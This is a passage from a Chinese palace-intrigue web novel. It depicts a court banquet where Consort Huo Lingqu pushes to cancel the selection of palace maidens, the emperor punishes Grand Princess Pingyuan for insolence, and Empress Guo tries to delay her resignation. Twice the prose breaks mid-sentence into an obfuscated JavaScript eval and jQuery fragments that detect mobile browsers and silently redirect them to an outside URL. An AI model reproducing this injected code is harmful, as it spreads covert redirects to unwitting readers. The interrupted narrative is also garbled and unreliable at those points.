魏王不能当众警告只能寄希望于这女人有点数,霍灵渠含糊点出:“祖父,他过世多年,我不想再惊扰他安息,但您仔细想想就能猜出来;您和爹爹、大伯大哥还有姑母都认识他,灵渠童年还在家里时他很疼爱灵渠的,但您可能未必认为他算霍家的故人。” 这提示给的可真有他哥的精髓,魏王冷眼睨她眼,真想问她给这种提示怎么想的。 没待他们多想,庄太妃侧目隐晦睇眼,鞠太妃心领神会,不是愿意给她当枪使而是乐得对付霍家:“贵妃提到撷芳馆,本宫倒是想起,有传闻,撷芳馆馆主就投在魏王门下。 前几日英王府大火,贵妃陷在火海危在旦夕也是魏王最先赶到英王府施救,想必贵妃在撷芳馆时就与魏王颇有交情,怎么没进魏王府反而被英王世子捷足先登了呢?” 晏霁之想他料的真准,果然有人拿魏王做文章;嬴忱璧要训示被他的贵妃抢先,霍灵渠按男人教的标准答案呛:“霍灵渠蒲柳之姿,不比太妃娘娘能以色侍圣人。” 好些官眷想这讽刺委实刺人,霍太后神情微变,她竟然把英王妃这笔账给漏掉了。 鞠太妃立时动怒要还击可惜被憋着劲儿要找回场子顺便给她醒脑的乐邑长公主抢先了:“贵妃啊,念在我们有童年同窗兼玩伴的情谊,我才好心劝你认清楚现实。 就算你认为自己还金贵,家族不搭理就你自己认为能抵什么用?你爹和祖父心疼你愿意再惯着你,穆国公和霍海啸可能吗?霍鹣娇可是穆国公最疼爱的女儿,她就没掩饰过野心,霍海啸又想做国丈,你突然冒出来挡路还想指望他们能真心对你吗? 你可别傻乎乎的认为你为霍家和睦在外漂泊十多年能让他们对你添点好感,别做梦了,他们会发誓是因为太后向着你、迫不得已而为之;可老穆国公这么大岁数还能有几年活头又还能再护着你几年?只要你祖父一死,太后得仰赖长兄还能再偏袒你吗? 霍家到底是穆国公和霍海啸当家作主,你的弟弟妹妹们连霍振羽和霍蓁蓁都立不起来,庶弟庶妹更不用想,整个霍氏家族就只剩你爹能给你做依仗;所以赶紧醒醒吧,否则你再这么没点轻重瞎蹦跶没准过两年连贵妃位都保不住要被霍鹣娇抢去了。” 驸马薛述聪无奈看她,你当着霍家人的面挑拨霍家内讧真的好吗?你当心被记仇。 实际挑拨内讧被记仇什么的纯粹想多了,几位掌权人压根没过耳,霍蓁蓁倒真不舒坦,凭什么说她立不起来?霍振羽更憋闷憋屈犹豫时霍雄鹰和霍舒窈同时高喊胡说。 霍灵渠抿抿唇咽住想驳斥的言论,霍海啸刚想表态就被抢于是瞟瞟他们尽量心平气和,姐弟对视眼后霍舒窈先发言:“乐邑你最后句话绝对不可能,如果我爹真的瞎眼昏头,我就和我爹断绝父女关系然后让二叔把霍鹣娇给剁了,任何后果我来担着!” “对!”霍雄鹰忙不迭赞同:“就算我爹和大哥黑心肝,我可没黑心肝,我和我娘大姐都可以给三姐做依靠,至于霍巨浪?”他斜眼鄙视下:“看他自己良心吧。” 现场险些爆笑,被倒霉弟弟鄙视而气笑的霍巨浪眼不见为净的捂眼睛,霍太后紧随质问:“爹一死我就得仰长兄鼻息,霍秦川,我怎么不知道你还有这种想法?” 穆国公无奈:“太后,这是乐邑长公主凭空臆想,和霍家能有什么关系?” “行了行了,一个个急啥急,老头我被说没几年活头还身后事会一团糟都这么淡定呢。”霍擎吩咐道:“海啸啊,你就代长辈和家族当众表个态,省得你弟弟妹妹们瞎操心。” 霍海啸应是,掷地有声:“不知乐邑长公主哪来的错觉认为臣和臣父不得已偏袒贵妃?臣和长辈们都自觉霍家亏欠贵妃甚多,恨不能立时就把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459257|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天下最好的都捧给贵妃。 灵渠漂泊十多年沦落过风尘都是家族没有保护好她才害她受尽苦难,灵儿当然金贵,她是霍家的掌珠但凡我霍海啸活着就永远都是,我自认霍家连自家的掌上明珠都保护不了就足够无地自容,倘若再放纵旁人哪怕同是霍姓的伤害灵儿,霍家绝没脸再在朝堂立足。” 霍灵渠低头心酸,霍雄鹰可怀疑他这大哥黑心肝得脸皮比城墙厚了;观众们基本不信,乐邑长公主想讽刺他虚伪被拦住,鞠太妃想讽刺霍家虚假也被兄长郢国公眼神制住,霍家把姿态摆得这么漂亮还有什么可争辩的,这情况哪怕人人都知是假也得陪着演。 太上皇适时褒奖霍家重情义当为朝野表率,再问:“三年不侍寝,贵妃不怕失宠吗?” “父皇,如果贵妃想过三四年再生皇儿又不想服用避子汤,朕可以避孕。”皇帝抢答,他还是不想忍三年那么久的,而且他怕忍一年都会忍不住。 霍灵渠和晏霁之同时瞟瞟他,眼神各自微妙又相似。太上皇被噎下生出点老父亲的心态,皇帝这是要把猴急写在脸上吗?这儿子做皇帝难道还缺女人吗,这么上赶着?! 太上皇憋闷懒得再理,霍擎老太爷憋笑别过头,霍灵渠便接道:“陛下厚爱,妾惭愧,可三年已经是臣妾自认最快能接受您的年限。臣妾和晏霁之耳鬓厮磨四年多,突然换男人,霍灵渠实在接受不了必须给我三五年时间让我慢慢调和适应,否则我会生病的。 再者陛下应该耳闻过年前霁之将其他妾室散尽的事,实则自正徽二年起霁之就独我一人,我已经不知道男人前晚、前月、前一年是从别的女人床上起来再躺倒我身边是什么滋味,我怕自己又会不能忍受要生病,我霍灵渠就这么金贵,请陛下您见谅。” 霍灵渠再会心一击:“但我想前未婚夫口口声声对不住我愿意好好珍爱我、只要我想,只要他能做到就都会满足我、应该不会因此就让关雎宫变成冷宫。您和圣人若是都同意了,臣妾就再问问大臣们还有谁敢反对取消选秀?” 所以贵妃你说如果下月就有身孕就纯粹是扯淡兼想引出不侍寝的套路是吧,许多人想。 还有部分旁观者看霍家从霍太后到霍海啸竟然都没人出面补救,真觉得自作孽不可活,霍贵妃这情况竟然也敢嫌弃皇帝还家族不代为赔罪,你霍家嚣张狂妄得真嫌活腻了吧? 更有少数人精感叹贵妃这招欲擒故纵玩得可妙啊,倘若进宫就投入皇帝的怀抱,陛下有新鲜劲儿且霍家鼎盛时自然无妨,长久呢?贵妃的过往绝对是皇帝心中永远拔不掉的刺,既然不能除掉这刺,暂且拒绝皇帝展现自己的矜持重情才是上策。 正徽帝嬴忱璧默默深呼吸,扬起笑意忍住憋闷大度应允,霍灵渠谢过恩顺便多提个醒:“陛下留宿关雎宫时臣妾不会给您安排暖床的宫女,您没意见吧?” “朕若留宿关雎宫,会宿在贵妃的寝殿。”嬴忱璧说,晏霁之再瞟瞟他,霍灵渠就打商量:“陛下愿意睡软塌吗?晏霁之就不愿意怜香惜玉,回回我俩吵架,半夜里他都要来句:你去睡软塌。我是希望陛下您能让让我,如果您也不愿意,那就我睡软塌吧。” 嬴忱璧脸黑:“贵妃?!” 众多宫婢和朝臣官眷们急急低头,霍擎老太爷给混球送道死亡凝视,居然欺负他家宝贝让他孙女睡软塌?!晏霁之淡定眼观鼻鼻观心,穆国公憋笑真想说,你们可以私下商量的。太上皇都真想就这事训训皇帝,瞧瞧这叫什么事啊还成何体统?! “臣妾这就问问大臣们有谁反对取消选秀。”霍灵渠当然看得懂脸色,连忙转身避过,拿出妖妃的款儿摆谱:“本宫要取消选秀,众卿家们有谁反对吗?” 满殿朝臣硬着头皮望向上座看看太上皇再看看皇帝,相互眼神交流谁率先出头,很快一位亲霍家的御史站起来问:“请问贵妃娘娘您要取消选秀的理由是什么?” 霍灵渠堂而皇之:“我姓霍,如果不做点祸害该做的事,如何对得起我的霍姓?” 话落,好多观众都想送她三字:你有种;大家都知道贵妃你姓霍,不用再重申了吧?!霍舒窈真想抄颗青枣丢去,你就不能好歹给个能装装样的借口吗?气死我了。 霍家诸位尽量装没事人,霍家姻亲和亲霍家的大臣们也尽量忍,当然也有多位忍不了,一位胡须花白的老臣立即跳起驳斥:“贵妃,您是贵妃是副后,当为嫔妃和天下女眷的表率,你怎能如此撒赖放泼任性妄为毫无体统?” “老大人是想让我现在就母仪天下吗?”霍灵渠顺理成章接:“可我还没做皇后呢。” 多数朝臣被再被噎下,蒙侍郎中规中矩提醒:“娘娘是正一品贵妃位同副后,此等高位理应也有给后宫嫔御和天下女眷做表率之责。” “本宫登顶凤座会母仪天下。”霍灵渠实在反驳:“再贤良淑德,就凭我的往昔,朝野内外就断不掉骂我妖妃的声音,任我如何委曲求全也不会有好名声,那我何不痛快过活? 即使我循规蹈矩也会有大把官员和读书人骂我,这样,我非但委屈还会看你们虚伪,还不如等本宫做些妖妃做的事以后你们再骂,本宫和众卿们都能落点实惠。” 话很实在,就因为实在才难驳斥,何况跟霍家不对付的人家又不在意取消选秀,霍家多惹出点事端才更好做文章啊。大多数官员偃旗息鼓,须发花白的户部尚书站起来温和相劝:“贵妃娘娘,人生在世总有许多不如意,忍受委屈在所难免。 您既有晋位之想,如若现在图痛快不愿意忍,将来朝堂推举继后,娘娘贪图的所有痛快恣意都会成为翻倍的艰难阻挡您的晋位之想;再者您还牵动着霍家的声誉,娘娘总不愿意只因为您贪图痛快就招致弟弟妹妹和侄儿侄女们的婚事艰难吧?” “老大人,有权有势的时候名声是锦上添花,没权势的时候名声还不如串铜板实在。”霍灵渠不容置喙笑:“本宫的晋位之想、霍家儿女的婚嫁靠的是霍家的实力,非名声也。” 户部尚书颔首笑笑没再说什么,霍擎老太爷接棒反对:“贵妃娘娘,虽然您是臣的孙女,老臣也不能赞同您的提议。正徽五年选秀是朝廷三年前就定下,岂能随意更改? 如果只因贵妃私心不愿就取消选秀,朝廷的法度、圣人和陛下的威严何在?陛下宠爱贵妃愿意由着您胡闹,老臣身为贵妃您的祖父若再不阻拦还有何颜面面对圣人和陛下的厚爱。老臣坚决反对取消选秀,贵妃若是还要胡闹,老臣只能请太后管教您。” 霍灵渠表现得挣扎下再顺从:“好吧,就依祖父之言。” 做祖父的再带儿孙们向太上皇和皇帝请罪,嬴忱璧真心不在意的表示无妨,又取折中法:“贵妃初初进宫就大肆选秀确实伤贵妃的心,就缩小选秀范围和人数。 由全国大选调整为在京畿、山东、江南、荆湖、巴蜀五地各选四十名共计两百名秀女进行选秀,最终择多少名秀女充盈后宫也由贵妃陪皇后商量定夺。” 郭皇后在霍家面前就是摆设,皇帝的意思,在场众位都看得明白,选秀由贵妃做主。 霍擎再带儿孙们谢隆恩,霍灵渠不消停:“陛下,既然选秀不取消了,深宫寂寥,臣妾膝下空虚难免乏闷,翁美人诞下皇嗣就抱到关雎宫养吧。” 66. 第66章 不经意间从窗牗洒进几道橘红光束,殿中的人们才恍然惊讶殿外已是夕阳天。 暖色调的光晕给金碧辉煌的麟德殿增添份祥和也缓和了新冒尖的冲突,霍贵妃要抚养翁美人诞下的皇嗣虽不啻于强抢,但除了翁美人惊慌紧张,连翁家人都还算平静。 按霍家的作风,在贵妃没有亲生骨肉前会想要抚养低位嫔妃生的皇嗣很正常,而宫里没有养育皇嗣资格的嫔妃诞下的儿女会交给哪位娘娘抚养轮不到外臣置喙。 因此,令愔夫人真有心想替翁美人相争还是犹豫着没出头,倘若陛下没想过在翁美人生产后就将她连升三级直接擢升为婕妤,她亲生的孩儿她也不能养育的;贵妃既然主动提了,选秀又没顺贵妃心意,陛下不会再在此事上驳掉贵妃和霍家的脸面。 皇帝平静看看霍贵妃再转向身怀六甲的翁美人,翁美人捧着高耸的孕肚,小脸委屈巴巴回望皇帝,楚楚可怜的模样忒能惹男人怜惜,可嬴忱璧个铁石心肠,察觉到给他怀着孩儿的美人可能要哭泣时居然说:“好,翁美人诞下皇嗣就抱到关雎宫给贵妃养。” 年方十八岁的美人顿时难受得感觉好像动胎气了,咬咬牙想求时被她祖父翊善伯‘凶狠’的眼神阻住,立时更委屈几乎当场哭出来,可她这么委屈还得捧着孕肚站起来谢恩:“嫔妾、嫔妾谢、谢贵妃娘娘抬爱。”她要回自己宫里哭死算了。 霍灵渠真觉得自己怪不厚道,此时此刻竟是想翁美人的小脸表情真生动,但她就养两三年应该没影响;挺挺腰,尽量拿出副霸道跋扈的妖妃款儿,随意摆摆手。 “贵妃怕深宫寂寥会乏闷,今年选秀就多挑些美人,既可给你解闷还能赏赐英王世子。”鞠太妃憋着怒火可不惧越线:“毕竟四年多的情谊,英王世子眼下也没别的妾室;贵妃进宫就只剩他形单影只多可怜,贵妃也该心疼心疼前枕边人啊。” 许多人神情微变,最后句话可太犯忌讳!晏霁之眼风轻扫,瑰灿的眉眼间尽显风流,登基第五年给皇帝送这么好的立威机会,可真是令太上皇想不生气都难啊。 太上皇可不就是瞬间怒起,他都能有把握哪怕他出面调和,皇帝都不会退让,否则今后得有多少不识好歹的要拿贵妃的往事羞辱践踏君王尊严。 郢国公想补救被皇帝的眼神制住只得作罢,他明白陛下不想多议论免得越描越黑,示意妹妹给皇帝赔罪被无视,那妹妹还一副混不在意的模样真让他有点生气了。 意识到不妙的大臣和官眷们纷纷低头,懵懂的看客们瞧着陛下果然不可挽回地再脸黑,可霍贵妃自己提往事犯忌讳时陛下就像全然不在意,他们哪能想到这回有多严重。 旁人公然犯忌讳挑衅与贵妃自己提往事能等同吗?贵妃提,皇帝能忍;一个太妃也敢当着满朝的面寻衅皇帝,皇帝凭什么再忍?堂堂君王若是被如此羞辱都忍,今后岂不什么阿猫阿狗都敢妄想骑到皇帝脖子上?!霍海啸冷笑,还真以为皇帝做傀儡吗?! 霍灵渠没意识到这已不是她的事而转化成了皇帝的主场,想还击被祖父拿拐杖拦住,霍老太爷哼哼示意孙女淡定。霍太后斜睨眼,拿银签签起块水果吃准备看戏。 映进殿内的夕阳光影中仿佛有丝丝诡谲窜动,鞠太妃扫视眼殿内看霍家居然全做蔫鸡,不屑嗤声欲再发泄时,皇帝说话了:“乐邑劝诫贵妃时雄鹰和舒窈心急驳斥,朕就没多言。此时想想,朕确实该纠正,刚才那番长篇大论,皇妹你真的知道自己在说什么吗?” 废话!乐邑长公主心里腹诽,还没搞明白这皇兄没头没脑冲她挑刺作甚,她公爹显国公已经站起来请罪:“陛下恕罪,长公主只是一时糊涂,绝无任何冒犯皇兄之意。” 冒犯?懵懂的朝臣和官眷们有些被点醒,有些想明白了陛下的怒气从何而来,寻常百姓碰到有人拿他妾室和旧情郎来调侃下脸都要生气的,何况心疼两字真超越调侃了。 还有部分看客仍然没理解,毕竟上有太上皇把握朝堂大权,下有霍家嚣张狂妄太招摇,皇帝自己又不显山不露水地含蓄着,谁置身事外看着能没点想当然的错觉? 恰如鞠太妃若是惧怕皇帝还能当众挑衅吗?连太微宫的宫婢来传太上皇的旨意都敢对皇帝摆谱,只有没本事得圣人庇护宠幸的废物才对皇帝毕恭毕敬呢,鞠太妃当然不惧。 她既和圣人有情份,郢国公府更得器重前途无量,哪怕兄长劝过让她敬着皇帝,可她怎么看皇帝就只是太上皇的应声虫,敬条应声虫可不是笑话吗?霍贵妃敢羞辱她就是自找的,皇帝有怒又如何,她只需请圣人训斥,皇帝照样连个屁都不敢放。 此刻鞠太妃虽然没看懂皇帝唱什么戏但很清楚在影射她,不由嗤笑。 乐邑长公主没理解她哪儿有冒犯就被丈夫拉着请罪,郁闷地拧驸马。薛述聪也郁闷,他也不明白他爹在请什么罪,可他爹都请罪了他们还能当没事人吗? 薛家除主母外皆悉数站立请罪,皇帝尚未发话,平原大长公主稳稳当当坐着对侄儿训斥:“才做几年皇帝就敢当着你父皇的面无缘无故拿皇妹撒气,皇帝你还像话吗?!” 殿内霎时一凛,显国公勃然转头怒瞪她,她不在意地轻蔑鄙夷,真不懂丈夫装给谁看? 虽然皇帝将懋郡王降爵就在眼前,可这不还得太上皇点头准许才能够让皇帝摆摆威风。她就是当众教训皇帝侄儿又如何?有她皇兄在,平原大长公主能怕? 殊不知她的太上皇皇兄都被气得够呛,班太妃静静注视圣人的怒火都快压不住了,悄然侧望就见鞠太妃在慢悠悠喝果酒,毫不在意的态度真是与平原大长公主十足像啊。 郢国公瞧着这妹妹的德行真是气不打一处来。吴王生母蒙太妃亦瞥眼身侧的鞠姐姐,整日里有事没事的被庄太妃当做枪使竟然还屁颠屁颠乐意,当众挑衅皇帝,就算暂时被圣人护住又如何,将来呢?真不知她有脑子没、想不想后半生求个安稳体面终老。 薛侍郎也是真的不明白嫂嫂何必非得总想着拿姑母的谱压倒皇帝?都怕今日不能收场。他知道晋王和庄太妃至今没死心,可晋王上位难道就能让你压到头顶吗?将来圣人驾崩,你不还得对皇帝侄儿低头吗?现在处处得罪皇帝对你能有什么好?! 霍擎老太爷憋住悠哉带儿孙们看戏,显国公要请罪硬是被正徽帝挡住,在灼灼瞩目下,皇帝轻飘飘的对姑母说:“前些日子,显国公和武襄侯联名上奏,大长公主于国无寸功却享一千户食邑太过优渥恐有灾殃,请上裁减两百户降至八百户食邑,朕准了。” 令愔夫人顿时揪心得捏丝帕;杭婕妤心里叹息,都已隐忍多年,陛下又何必?翁美人捧着高耸的孕肚,感觉眼前的害怕都让她暂时忘掉皇儿要被抱给贵妃养的难受了。 皇帝和太上皇之间一直维持着大家心知肚明的平衡,在人前也还没有过分歧。前两年,陛下几乎没有自己的声音仍然事事都恭请太上皇做主;近两年,陛下逐渐会表态、太上皇有时也会让皇帝发号施令,但这些的前提都得由太上皇许可啊。 请上削减大长公主食邑的奏疏,殿内多数人都猜得出是皇帝在随口胡诌,何况不请示、竟就越过太上皇做主可是大忌!郭皇后看着这幕,深埋在心底的怨恨难以遏制地往上冲,谁做皇帝不是威风八面睥睨天下唯我独尊,偏偏就他,做皇帝都那么没用。 做王爷时要看霍家的脸色,做皇帝竟还要看太上皇和霍家的脸色!郭皇后有时恨极了真恨不得想这么没用的丈夫还不如趁早驾崩、让她的皇儿继位。此刻看他这般强行维持皇帝的颜面真忍不住冷笑,有意思么,被太上皇打脸还不是更难堪。 晏霁之注视郭皇后的精彩神态也真忍不住向皇帝示意,嬴忱璧微讶,眼风顺他的提示隐晦瞥向皇后,隐约能观察到嫌恶讽刺,皇帝他平静抿唇笑笑。 穆国公霍秦川瞧着他们的互动真怀疑你俩是情敌吗?再看高座的皇后表侄女,造孽啊,就这情形他都有点担心皇后会不会想不开钻牛角尖想弑君好避过入佛门清修。 虽然他们心理活动蛮多,实则就只在眨眼间,皇帝自作主张,着实让许多人惊诧了把,惊诧过后有人担忧有人淡定自然也有人讥讽;晋王真想怜悯这皇兄何必非得上赶着丢脸呢,鞠太妃轻蔑不已,皇帝拿谁撒气不行非得往平原头上撞,看皇帝这回怎么收场。 然而平原大长公主冷笑声,还没来得及请她的皇兄做主管教皇帝,她丈夫显国公和姐夫武襄侯就领旨谢恩了,恼得她真恨铁不成钢就冲丈夫怒喝:“你在做什么?” 显国公猛然回头狠狠瞪她吓得她的心咯噔跳只想移开视线,她定定神抬头就迎接到皇帝侄儿的冷眼压制,瞬间被挑起心头火,当即站起来冲皇帝训斥:“皇帝你还有规矩没有,你姑母们的食邑岂是你能过问,真想让姑母请你父皇管教管教你是吧?!” 殿内氛围陡变,莫说做丈夫的,做皇兄的都被气得眼黑;班丞相以六旬年纪的老胳膊老腿特别敏捷利落地跪下,在他双膝碰到大理石地砖时即有批朝臣紧随带家眷跪地。晏霁之郁闷掀袍,魏王真想骂平原不长脑,这都能害他对嬴忱璧多跪次。 霍家也没有落下,霍擎老太爷淡定带儿孙们跪地,霍蓁蓁看热闹正紧张时就被她嫂嫂给拽着跪下,真想问好端端的作甚要跪?但看大家都忙着要跪,她还是不问了。 “请圣人、陛下降罪!”显国公懒得再辩就跪下,薛述聪莫名心慌的拉乐邑同跪地。 在上座能将殿内百官们带家眷跪地的景象清清楚楚得尽收眼底,鞠太妃简直不可思议,深觉古怪时触及兄长严厉的眼神吓得她突然心里哆嗦,迟疑下就从椅中站起来跪下。 蒙太妃和班太妃都没犹豫,国师诲仰道长见此真有点郁闷得掀掀道袍跪下。庄太妃想不通这群臣子胆敢如此给皇帝壮威势难道就不怕圣人降罪吗?踌躇时察觉到有人注视她,转头就对上霍宝鸾的轻佻蔑视,翻成话就是:本宫能坐,你也配吗? 郭皇后震惊,陛下如此有威严吗?她按按激动的心跳带嫔妃们跪下。而随着她们跪地,殿内情形再清晰明朗不过;晋王反应不过来,衣袖被重扯了下,他随之看去见王妃使眼色,他咬咬牙跪下来淹没在跪地的人群里。 除高高在上的两位和霍太后,整座殿内就平原大长公主还站立着,她忽然背脊发凉可哪能因此就屈服,若是服软她今后还怎么抬得起头?满是委屈地喊皇兄请求替她做主。 太上皇憋住怒火挤出笑意圆场:“皇儿,你姑母发昏才犯糊涂,你别和她一般计较。” 话语间的客气谦和,在仗着有太上皇撑腰就不把皇帝放在眼里的人听来谁能不惊? 可若非如此,班丞相哪能带头跪,摆在人前的是:太上皇把皇帝压得死死的,皇帝登基都已经是第五年了可到今天到此事前都没有脱离父皇的掌控真正立过威,连太微宫传圣人旨意的内侍都敢对陛下摆摆谱,何况是平原大长公主之流,根本不将皇帝看在眼里。 偏偏这只是陛下孝顺愿意维持父皇的尊崇才委屈自己继续放任,实则,陛下已经在他父皇面前亮过锋芒逼得亲爹都不得不退让,前两年没把陛下放在眼里的官员现在都在蹲大牢!圣人而今更愿意安抚住皇帝儿子维系现有的平衡而非和皇帝儿子硬碰硬。 况且这情形叫陛下怎么退,圣人若是在人前硬压强逼皇帝憋住这股怒火得在背后多付几倍代价平息?又是在霍家要清算阴谋必将掀起朝堂腥风血雨前夕,太上皇都巴不得想让皇帝和他同心呢能再强压?平原能配圣人自己吐血来替她出头吗? 正徽帝嬴忱璧俊脸含笑而不容置喙:“父皇,朕明白姑母犯昏病糊涂了,不会多计较;可我们是君王,掌天下握江山的君王,君臣尊卑岂能有秋毫之犯? 一臣妇胆敢如此僭越,即使她发昏才犯糊涂,可若不惩戒,朕和父皇何以面对天下?念在她是父皇的妹妹朕的姑母又是初犯,就请母后派身边的女官掌嘴二十小惩大诫吧。” “皇兄?!”平原大长公主疾声叫嚷、瞪得眼睛如铜铃;太上皇没理会就同意,下瞬耳边又响起她的叽叽歪歪,气得随便抄样东西就砸:“你做的混账事,寡人和皇帝真要计较,你有几颗脑袋够砍?要是活腻了,寡人现在就赐你白绫上路!” 赐白绫?殿内不知多少人被太上皇的暴怒给惊到了,这是口不择言吧?薛述聪心慌扯他爹衣袖时,平原大长公主额头青筋直暴撑着最后的倔强吼:“皇兄!我是你妹妹!” “皇帝是寡人的儿子!”太上皇气得再抄起东西砸,压抑的怒火爆发如决堤的洪水泛滥:“就算与你论私,你还知道皇帝是你兄长的儿子吗?论小家,你是嫁出去的姑奶奶,皇帝是寡人交托家业的新家主,轮得到你个外家女对娘家的家主指手画脚吗? 论情,你的荣耀富贵是谁给的,是寡人和皇帝给你;看看贵妃对霍家何等的感恩之心,可你又是副什么嘴脸?再论国,寡人和皇帝是君,你乃臣妇,你可还知君臣尊卑吗,若非念情寡人和皇帝还能容你站在这里大呼小叫?” 偌大的麟德殿里安静得鸦雀无声,令愔夫人和翁美人皆悄悄松口气;亲娘被舅舅兼公爹骂得狗血喷头的晋王妃死死捂嘴巴憋泪意,晋王憋得慌,这父皇何至于如此给皇帝助威啊!鞠太妃身体瘫软下来,一低头就有滴汗落在宫裙上。 一山尚且难容二虎何况是一国?多少人觉得皇帝和太上皇之间是对立的,尤其是对于仗着有太上皇撑腰庇护就不把皇帝看在眼里的人,谁认为起冲突时圣人会维护皇帝? 哪怕亲眼见证,庄太妃还是难以置信,难道就因为君臣尊卑吗?他们是君,所以,圣人即使要把皇帝压得死死的也会在人前维护皇帝的尊严体面,再得圣人宠爱也不能在明面上对皇帝不敬,这群大臣都清楚而她却未看明白吗? 平原大长公主遍体生寒而脸颊火辣辣得滚烫,就在浑身冷热交织中对上霍太后的鄙薄,她张张唇没说出话来却双膝软下就跪倒了,耳边好像有蜜蜂在叫吵得她脑袋嗡嗡作响。 “父皇息怒,姑母应该已知错,且她毕竟是您的妹妹朕的姑母,又是初犯,就给姑母留点体面派宫人带到偏殿再掌嘴,姑母领过罚就让宫人送出宫。” “好!” 嬴忱璧颔首应过再请太后派遣女官处置,霍太后赖洋洋地挥挥手,她身边面相严厉的陶女官领命过后带领四名宫人走向那位惯来趾高气扬的平原大长公主。 乐邑和薛述聪兄妹还有众多悄悄注视的官眷们就眼睁睁看着她软做滩泥般被宫人架走,受震动不可谓不大,两刻钟前她还气焰嚣张得想压皇帝侄儿,现在几乎半死不活了。 嬴忱璧扫视全场,叫众人平身,大家伙还没喘口气,他就对皇妹训诫:“乐邑,穆国公是臣,贵妃和太后是娘娘岂有仰赖臣下之理?贵妃仰赖朕,太后娘娘仰赖朕和太上皇,朕的嫔妃如何擢升降等以及生死都只由朕做主。 皇后清修佛缘欲辞位遁入空门,百官提议继后人选从霍家挑,唯有朕和太上皇认可,百官的推举方才能奏效,否则任百官如何议都是空谈;清楚了么,皇妹?可别再说出霍秀仪靠穆国公能抢走贵妃之位这种颠三倒四的混账话。” 乐邑长公主赶忙请罪,她婆母兼姑母都被罚掌嘴受那么大羞辱,她清楚得透透的了。 霍灵渠蹙眉,皇帝手中到底是有权还是没权呀?若有权,她留在宫里不是白耗吗? 郭皇后心中涌起希望而眼眸发亮,杭婕妤兴奋想莫非陛下已经能做主不需再隐忍? “陛下?”郭皇后心潮澎湃就没忍住,话出口又觉得似乎有些心急了。陛下问何事,她狠狠心想反正绝不可能比仍旧要被迫辞位更糟就豁出去了:“臣妾、臣妾想皇儿们都还小,皇儿们还离不开母亲,臣妾想还是暂缓辞位入道观清修的事。” 嬴忱璧&晏霁之&霍家诸位&班丞相等众大臣&太上皇:“……” 皇后的娘家人闻言双眼放光,晏霁之想他还挺想知道皇帝什么想法,穆国公想表侄女是人才啊,他爹霍擎想侄孙女哎你就不能消停点,他弟弟霍漓江懒得有想法,他大儿霍海啸想如此迷糊计较利令智昏,只怕你避过辞位的下场就是把你自己和儿女都给作死。 嬴忱璧答:“朕问过父皇再做定论。”然后请示父皇,太上皇便和蔼得把问题扔给国丈,霍擎笑哈哈再传:“女婿啊,老头我已经致仕,您和陛下不如参考魏王的建议。” 魏王心里骂过老匹夫再奏:“父皇,丞相乃百官之首,儿臣以为请教丞相更妥当。” 班丞相哪儿会沾这种烫手山芋,被点到名就顺势推脱:“禀圣人、陛下,老臣得圣人和陛下厚爱忝居相位,但论智慧眼界远不及两位副相,老臣提议先问两位副相。” 建威侯看他们相互推诿不禁皱眉,太上皇平静的叫两位副相,晏副相有见地的提议:“禀圣人、陛下,老臣以为此事应先论家事再涉国政,武襄侯和显国公乃是陛下和皇后的姑丈,皇后娘娘入佛门清修是否维持旧议应当先由两位驸马爷陪圣人、陛下商议。” 房副相附议,显国公他们被点到就踢给穆国公,霍秦川是国舅啊,舅舅比姑丈亲嘛。 穆国公霍秦川给个解决方案:“禀圣人、陛下,显国公和武襄侯联名上奏大长公主于国无寸功却享食邑太过优渥恐有灾殃,老臣甚有感触,古人言德不配位必有灾殃; 皇后娘娘高居国母尊位一举一动岂能草率?皇后既许佛门布告朝堂即将辞皇后位,倘若出尔反尔恐天降示警于国有失,老臣以为该由钦天监算过天相再定。” “国舅言之有理,皇帝以为呢?”太上皇笑问,嬴忱璧赞同:“父皇所言甚是,国舅考虑得甚是周全。”然后劝郭皇后:“皇后,就由钦天监推算过天相再定吧。” 郭皇后空欢喜场悻悻遵命,眉眼间的失落清晰可见,让钦天监推算,结果她都能猜到,肯定是强迫她必须辞位。她竟然还真以为陛下能做主压制霍家,原来还是外强中干虚有其表假装给自己脸上贴金,她真想啐他口:有意思么,真有本事你倒是压霍家呀! 她失望,她娘家建威侯府同样失望;只是建威侯府没多少人关注,她可有的是人关注,皇帝陛下给过答复也仍然温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459258|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和地凝视皇后呢,郭皇后沉浸在自己的难受中没管罢了。 令愔夫人使两回眼色,皇后都是无知无觉自顾悲鸣;她在心里无奈低叹,皇后刚涌现希冀高兴起来就被掐灭难免郁郁会维持不住体面,好在陛下包容体谅。 班丞相看到的却是郭皇后很可能快要把皇帝对她被迫辞位的愧意都给作没了,陛下看着、还当着满朝的面都藏不住失望怨恨,这是在嫌恨怨什么?被迫辞位,何尝不是副好牌,只要用好何愁将来;这么副好牌都能打稀巴烂,没有前程又能怨谁。 皇帝收回视线,饮下杯酒,小心思作祟就想借驴下坡:“鞠太妃的提议确有可取之处,朕和贵妃是该给晏卿赐美人,贵妃意下如何?” 得知晏霁之自正徽二年起就没再碰过别的女人,嬴忱璧多少有点波动,当年他们定亲时他愿意只守着媳妇过的,可阴差阳错他没能娶到她……算啦,往事不可追只能看今后。 